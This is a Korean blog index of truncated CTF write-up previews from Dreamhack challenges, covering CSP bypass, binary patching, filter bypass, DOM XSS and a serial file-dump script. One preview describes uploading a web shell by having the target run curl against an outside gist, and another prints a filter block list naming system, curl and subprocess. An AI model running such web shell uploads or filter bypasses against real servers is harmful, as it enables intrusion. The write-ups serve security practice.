전체 글148 serial 연결로 파일 가져오기 소스코드 이용방법import serialimport time# 시리얼 포트 설정 (포트 이름, 보드레이트, 타임아웃 설정)ser = serial.Serial('COM3', 115200, timeout=1)def request_file(): # 기기에 파일 전송 명령 보내기 (기기 명령어에 맞춰 수정 필요) ser.write(b'od -A x -t x1z -v /tmp/chaem.tar.gz\n')def read_file(): # 파일 데이터를 받을 버퍼 초기화 file_data = b'' cnt = 0 while True: # 시리얼 포트에서 데이터 읽기 data = ser.read(1024) if not data: .. 2024. 7. 30. [Dreamhack] CSP Bypass(web,2) CSP를 우회하는 문제@app.after_requestdef add_header(response): global nonce response.headers[ "Content-Security-Policy" ] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'" nonce = os.urandom(16).hex() return responseCSP 설정을 보고 뭘 의미하는 지 파악self : 페이지의 현재 출처 (Origin) 내에서 로드하는 리소스만 허용합니다.flag 메뉴에서 source를 자기 자신으로.. 2024. 7. 13. [Dreamhack] Long Sleep(rev, 2) 바이너리를 실행하면 한줄만 출력하고 계속 멈춰있다. 뭘 입력하거나, 연산해야하는 것이 아닌 바이너리 패치를 통해 문제를 풀어야 하는 듯 하다. sleep이 걸려 있는 것 같은데, sleep 함수를 직접 쓰진 않는 것 같다.IDA로 코드를 보다가, nanosleep을 호출하는 systemcall을 찾았다. 이 부분을 우회에 주면 되는 것으로 보인다.nanosleep 이 있는 함수를 호출하는 아래 if 문에 들어가지 않도록 설정해주려한다.디버거로 실행해서 값을 바꿔주고, 이어서 실행되도록하니 flag가 출력되었다. 2024. 7. 10. [Dreamhack] Addition calculator (web,2) https://dreamhack.io/wargame/challenges/1021 Addition calculatorDescription 덧셈 식을 입력하면 계산 결과를 출력하는 웹 서비스입니다. ./flag.txt 파일에 있는 플래그를 획득하세요. 플래그 형식은 DH{...} 입니다.dreamhack.io소스코드를 보면 다음 필터만 우회해주면된다.def filter(formula): w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits) w_list.extend([" ", ".", "(", ")", "+"]) if re.search("(system)|(curl)|(flag)|(subprocess)|(po.. 2024. 7. 9. [WEB] DOM XSS https://dreamhack.io/wargame/challenges/438 DOM XSSDescription Exercise: DOM XSS에서 실습하는 문제입니다. 문제 수정 내역 2023.08.11 Dockerfile 제공dreamhack.io #!/usr/bin/python3from flask import Flask, request, render_templatefrom selenium import webdriverfrom selenium.webdriver.chrome.service import Serviceimport urllibimport osapp = Flask(__name__)app.secret_key = os.urandom(32)nonce = os.urandom(16).hex()try: .. 2024. 7. 9. [WEB] Switching Command 웹 페이지에 접속! username에 값들을 넣어보았다. 문자열을 넣으면 JSON형식으로 입력하라고 나오고, 숫자는 그냥 들어감. 이것저것 해보다가 웹 소스코드가 있다는 것을 잊었다는 게 생각났다.index.php에서 admin으로 로그인하는 방법을 유추할 수 있다사용자의 입력 값을 JSON 형태로 파싱하기 때문에 boolean 타입을 값으로 설정할 수 있다고 한다.JSON 형태로 username을 넣어준다.test.php 에서 cmd 파라미터에 웹쉘을 업로드한다.(curl "https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-s.. 2024. 6. 23. 이전 1 2 3 4 5 ··· 25 다음 반응형